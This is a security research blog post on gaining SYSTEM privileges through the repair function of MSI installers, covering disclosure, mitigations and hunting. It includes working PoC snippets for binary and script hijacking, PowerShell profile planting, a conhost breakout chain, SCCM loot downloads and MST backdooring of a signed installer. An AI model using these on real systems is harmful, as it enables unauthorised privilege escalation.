MSIFortune - LPE with MSI Installers or MSI - Might (be) stupid idea

MSI installers are still pretty alive today. It is a lesser known feature, that a low privileged user can start the repair function of an installation which will run with SYSTEM privileges. What could go wrong? Quite a lot!


The repair function will quite often trigger CustomActions, a part of the MSI installers, which are sometimes prone to one or more of the following problems.

  • Visible conhost.exe via a cmd.exe or other console binaries
  • Visible PowerShell
  • Directly actions from the installer with SYSTEM privileges
  • Executing binaries from user writable paths
  • DLL sideloading / search path abusing
  • Missing PowerShell parameters, mostly -NoProfile
  • Execution of other tools in an unsafe manner
  • Doing stupid things

Quite a lot can go wrong

Here are two easy PoCs for a privilege escalation. More details below.

PoC for a binary hijack LPE

PoC for a conhost LPE


A few weeks ago, there was a blogpost from Mandiant shining back some light to the repair function of MSI installers. As this is a lesser known feature, I decided to dig a little bit more into it and want to share some of my insights.

I reported > 30 local privilege escalations to vendors, including some big names and Security product vendors.


MSI installers are getting cached under C:\Windows\installer with a random name. The name is per installer per machine, so it is not generally possible to get from the file name to the product. To get the product name, we can check the details of the file.

Mandiant also provides a BOF and a PowerShellscript here:

The repair process

To start a repair, we can use the /fa parameter and the filename of the installer like msiexec /fa c:\windows\installer\1314616.msi or we can also use the IdentifyingNumber from the product, which we can gather via WMI.

PS C:\> wmic product get identifyingnumber,name,vendor,version
IdentifyingNumber                       Name                            Vendor                      Version
{E0C2565A-8414-4DF1-A1DD-D07EDDDC13C0}  Microsoft Visual C++ 2013       Microsoft Corporation       12.0.46151
{EBC7D3FB-4ED6-4EF4-ADD0-5695E6716C8B}  Flameshot                       flameshot-org               12.1.0
{447524DE-DB18-4E94-8D90-4FD62C00212F}  blender                         Blender Foundation          3.4.1

Therefore we can run our repair with this snippet:

$installed = Get-WmiObject Win32_Product
$string= $installed | select-string -pattern "PRODUCTNAME"
$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"

The repair will run with the NT SYSTEM account. If there are any CustomActions included in the installer, quite a lot can go wrong.

Triggering actions running as NT SYSTEM is always a great possibility from a LPE perspective. A minor mistake and we get a SYSTEM-Shell.

Quite a lot installer in .exe format also use MSI technique under the hood.

Why is this a problem?

From defender perspektive, imagine you have some software distribution system in place, like SCCM. The easiest way to deploy a package via SCCM is still the MSI file, meaning there are typically a lot of them. And they need to get maintained mostly manual, which also means, it is quite common to find outdated installer.

An attacker can therefore enumerate the SCCM with tools like to gather a list of msi files.

After that it is possible to download, exfiltrate and analyze them offline. This might also bring some credentials packed in the installers, or in other filetypes like ps1

PS> Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt

PS> Invoke-CMLootHunt -SCCMHost sccm -NoAccessFile sccmfiles_noaccess.txt

PS> Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi

This means, if an attacker find a single MSI vulnerable to a LPE all the systems, this would result in a sneaky LPE on all systems, where the software can be installed

Visible conhost.exe via a cmd.exe or other console binaries

The most famous mistake is to add a custom action, but not supplying a quiet parameter for it. This means, that the action will spawn a conhost.exe, the default Terminalhandler from windows. This handler has a property menu which can be used to spawn a NT SYSTEM shell in a very easy manner via a browser.

So, if you see a window flickering, try to select some text in it. Also CTRL+A is working and can quite good be used with automation tools, like AutoIT (more below). If there is some text selected, the output and therefore the execution is paused and we can relaxed kick off our “high complex exploit chain”.

Spawn a new SYSTEM cmd via: conhost –> properties –> “legacy console mode” Link –> Internet Explorer –> CTRL+O –> cmd.exe

Quick Proof-of-Concept for the chain

That was easy, wasn’t it?

Note: Microsofts Edge will not spawn, if running as NT SYSTEM, therefore preventing this chain! This is the default for Windows 11, but not for Windows 10, as there is still a version of IExplorer and also if there is another browser installed this is also most of the time working again.

Conhost.exe runtime too short?

If the conhost.exe runtime is too short, there are some ways to extend the runtime. It is always a good idea, to check what the underlying process is doing. For example, if it is deleting files in a folder and we luckily have write permissions to the folder we can just give it a few thousand files more to delete, which should give us enough time to react.

1..50000 | foreach { new-item -path "$($env:Appdata)\ProductX\$_.txt"}

Showing the cmd commandline with rmdir, which runtime we can easily extend

If it is doing some taskkill, check if you can start the binary multiple times or even restart it.

Another way is too slow down the complete system. During my tests, I had great results with just spawning a lot of cmd processes with some output.

1..500 | foreach { Start-Process -FilePath cmd.exe -ArgumentList '/c dir ' -WindowStyle Minimized}

This will eat a lot of resources and kind of overload conhost, which will give us more time.

Visibe PowerShell

If there is a visible PowerShell.exe window, the tactic changes a little bit, because the output can not be paused by selection, if the -NoInteraction parameter was supplied. However, it is possible to quickly place a right click on the window bar, going to the properties and here we need to click the link. This must be done until the process stops. The tricks to extend the runtime also applies here.
The browser selection window / IExplorer process then survives the PowerShell process and we can continue with the same breakout as the previous one.

Direct actions from the installer with SYSTEM privilges

The by far simplest privilege escalation was from installers, which provide a GUI for the repair process and allowed to trigger direct actions with the SYSTEM account. For example one installer allowed to open the Windows control panel as SYSTEM, which immediately allows a low privilege user to add himself as administrator.

What a nice shiny button

Open a windows config dialog with NT SYSTEM privs

Another installer opened a link to its homepage with a browser running as SYSTEM. This also allows a very straight forward LPE, again via the open -> cmd vector.

Opening a URL after repair with NT SYSTEM


And here another one. As the installer is running with NT SYSTEM this is not the best idea. Links in installers bring some risk

Note: It would also be possible to hijack the installer directly, as it gets stored under $env:Appdata

Executing binaries from user writable paths

Quite often there are binaries loaded from user writable paths. Meaning the MSI installer is placing a file, e.g. under %TEMP%\Product\installer.exe and then calling the binary with NT SYSTEM privileges. This can result in an easy privilege elevation, if the binary is not locked, or protected by an ACL.

Quite often it was simply possible to win the race condition and replacing the file after writing and before executing. Most of the time, this could be done in PowerShell, which is not the perfect fit for this, but its easy.

ls $env:TEMP\*.tmp | ForEach-Object {cp C:\windows\system32\cmd.exe "$($_.FullName)\BINARY.exe" -Force}

ProcMon view for a Binary hijacking

Binary hijacking

Executing scripts from user writable paths

Another one is the execution of scripts (.ps1, .bat, .vbs) from user writable paths. This is also quite easy to exploit, in this case we just add a Start-Process call to a PS1. Start-Process or start for BAT files is recommended as it will survive even after the installer ends for some reasons, like getting killed by a watchdog.

while ($true)
ls $env:TEMP\pss*.ps1 | ForEach-Object { Add-Content -Path $_.FullName -Value "Start-Process -FilePath cmd.exe -Wait;"}

Procman view

Append to PowerShell file

DLL sideloading / search path abusing

If you are monitoring the repair process with ProcMon, which is highly recommended, you will quite often see a CreateFile operation with a NAME NOT FOUND result. If this is for a DLL or EXE file, chances are quite high, that the initial binary would load it, if it exists.

You can dig a little bit more into it, by checking the process stack and see if the binary did load DLL from another place, like SYSTEM32, but this might miss some variations.
Better just check it out. Generate a proxyDLL, e.g. with Crassus, attach some custom code in the Attach Event, build it and copy it with the correct name. Then rerun the repair and see if the dll gets loaded.
If yes, congrats, spawn a SYSTEM shell

ProcMon view: DLL Hijack Please note, that for easier debung %TEMP% was redirected to C:\test in the screenshot.

DLL Hijack

Missing PowerShell parameters

If there is a CustomAction spawning a PowerShell process and the -NoProfile parameter is not added, the PowerShell will try to load the PowerShell profile from the user account which started the process.

ProcMon view: Missing -NoProfile Parameter

Missing -NoProfile Parameter

This is also a really simple chain, as we only need to add commands to our profile.

new-item -Path $PROFILE -Type file -Force
echo "Start-Process -FilePath cmd.exe -Wait;" > $PROFILE

This will give us a NT SYSTEM shell everytime a new PowerShell process is opened.

Sadly Microsoft patched this a little time ago. You can still see this working e.g. in Win 10 21H2

Execution of other tools in an unsafe manner

Sometimes, there are also calls to other tools, which can be abused. Some examples which I saw were:

  • 7Zip with the 7z file from a user writable input
  • grpconv -a a very old Windows binary, which can be used to plant lnk files in all users startup folders
  • IExplorer to open a webpage
  • drvinst.exe with the driver from a userwritable path

Doing other stupid things

Some vendors are getting pretty inventive what to do during an installation and what not. So in one of the MSI Installers, there was compile command via csc.exe, triggered from rundll.exe and transforming an .xml file.

Simply adding some custom C# code to the file, does spawn a NT SYSTEM cmd.

ProcMon view: rundll and a XSL file

Adjustments to the XSL

Overwrite the XSL during the repair process

Counter Measures from Microsoft

  • Microsoft added a new Temp Folder for the NT SYSTEM account under C:\Windows\SystemTemp to avoid some of the overwriting possibilities. Before this addition way more installers have been vulnerable to hijacking capabilities.

Remember to manually check that your Test-VMs are up-to-date, even if there are no updates shown and also that Enterprise Evaluation VMs might not receive any updates at all. Learned the hard way …

  • Prevent User-PowerShell Profiles being loaded by NT SYSTEM

  • RedirectionGuard

  • MS Edge does not start as NT SYSTEM

  • Fixing a lot of LPE Bugs in msiexec :)

Tools and Automation

If you want to go on a hunt yourself, here are the tools I used myself.

ProcMon & Crassus

ProcMon is the way-to-go tool for such issues. A good filterset removes all the noise but keeps the relevant things. My suggestion is to filter for all operations done by NT SYSTEM in a user writable path. This can look something like this.

Possible ProcMon filters to reduce some noise

This misses some possible paths, like C:\Windows\Temp, but this is a trade-off between Signal-to-noise ratio.

Crassus automatically parses ProcMon PML files, which can be quite nice to find paths with weak ACLs automatically. However a downside is, that this needs to run with do not drop filtered events in ProcMon, which causes really big ProcMon files.


PowerShell is quite handy for quick PoCs and in most of the cases also enough. A typical skeleton for those findings is looking like this:

Write-host "Remove leftovers"
rm "$($env:TEMP)\ProductX" -Recurse -Force

Write-host "Build a PoC Binary"
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ThisIsFineConsole
    internal class Program
        static void Main(string[] args)
            var info = new ProcessStartInfo
                FileName = "cmd",
                WorkingDirectory = @"C:\Windows\System32"
            var process = Process.Start(info);

mkdir C:\EoP_demo
# Create the service executable
Add-Type -TypeDefinition $source -Language CSharp -OutputAssembly "C:\EoP_demo\service.exe" -OutputType ConsoleApplication -ReferencedAssemblies "System.ServiceProcess" -Debug:$false

Write-host "Try to get GUID"
$installed = Get-WmiObject Win32_Product
$string= $installed | select-string -pattern "Product X"

$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'

Write-host "$string[0]"
Write-host "Found GUID $($matches[0].toString())"
Write-host "Startiung the repair $($matches[0].toString())"
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"

Write-host "Hijack installer binary"
ls "$($env:TEMP)\gu*" | ForEach-Object {cp "C:\EoP_demo\service.exe" "$($_.FullName)\ProductUpdate.exe" -Force 2> $null}


Selection text, or clicking the window bar might sometimes be quite difficult, as the window is only visible for a few 100ms. Here automation tools like AutoIt might come in handy, to place the clicks on the window. During my tests, I used some simple scripts like:

Func Go()
While True ; Infinite loop
    Local $aPos = WinGetPos("C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe")
	if IsArray($aPos) then
		if ($aPos[0]<0) Then
	    _DebugOut($aPos[0] & " " & $aPos[1])
	    MouseClick("right",$aPos[0]+20 , $aPos[1]+20 ,1,0)
	    MouseClick("right",$aPos[0]+20 , $aPos[1]+20 ,5,1)
	    $aPos[0] = -1
	    $aPos[1] = -1
EndFunc   ;==>Terminate


If you have access to a big enterprise SIEM / EDR you can also go on the hunt.

An example for this would be the Citrix client.

If your process tree looks like this:

|- cmd.exe
  |- conhost.exe

your chances are quite high that you found a vulnerable installer. Note that is not necessarily cmd.exe, and can be any binary instead.

Software Distribution

If you use a Software Distribution like Microsofts SCCM, the risk increases again, as a user typically can trigger the initial installation, which is somehow by design. So a single vulnerable installer in the repository would allow an attacker to get a LPE on all clients, where the package can be installed.

Orca, Master Packer, 7zip

There are several tools which allows you to look into a MSI binary. One quite useful tool is ORCA which allows you to look at the MSI installer tables, and also to create a MST file

Orca showing the inner tables of a MSI file


msidump can also be quite helpful to mass analyze the installers. It will print the custom actions to the terminal and give a rating if the binary might be backdoored.


As the repository of winget is open-source:, we can easily crawl it for all those MSI Installers. winget is the Microsoft package repository. After some annoying grep|awk|sed|cut|find stuff, thanks Microsoft for this structure…, we have a total of 917 MSI Installer, waiting to get tested. This already excludes older versions, other architectures and mostly other languages then US-EN.

The quality of the MSI Installer provided under winget seems a little bit higher then those found in the internet. However, there are still a lot of vulnerabilities going through all different cases.

By automating some of the steps, I could identify around ~100 vulnerable applications in all different severities, but I am quite sure, that there are things I overlooked or other techniques I just don’t know. For example I skipped SYMLINKS and also Registry Key Hijacking (HKCU).

There might be a seperate blogpost about winget in the future


There are quite a lot of things, which can get wrong if the vendor uses some CustomActions in the installer. From a Redteamer perspective, this is helpful, as it is possible to exfiltrate the MSI installer, or search the internet for then and test the exploitability in a separate lab.

If there are Software Distribution Systems like SCCM in use, the possibilities immediately increases, as

  • there are typically a lot of packages to install
  • installation can be started from a low privileged account
  • also the initial installation might be vulnerable for similar attack vectors.

As far as I know there are no really good countermeasures, as the repair function can not easily be disabled. So the best option at the moment is to make sure, that the installers used are safe, however this is not an easy task.

Additional monitoring the MSI repair calls and browser running as NT SYSTEM should also not hurt.


There are so many great resources about MSI installers and the hijacking behind it.


Running a signed MSI as non-admin

It is possible to “backdoor” an MSI file without damaging the signature by using MST Transformation Files. Those Transform files can embedded own commands which are getting executed on installation.

To build a MST, you can use several tools, e.g. Orca.

So let’s hunt for a good candidate. The requirements would be:

  • Direct download from a trusted site
  • Signed binary
  • No UAC / admin privs necessary
  • Installation without user interaction possible

There are a few good candidates, e.g. Cisco Webex installer is great, as the MSI does not require elevation, which makes sense in their context, is nicely signed and available from a trusted URL (at least if you count CICSO, as trustworthy).

We can immediately use msiexec to download and install the binary. A completely silent installation is not possible, but /qb will automatically move forward, so no user interaction necessary.

msiexec.exe /i "" TRANSFORMS="" /qb

You can also trigger this via WMI.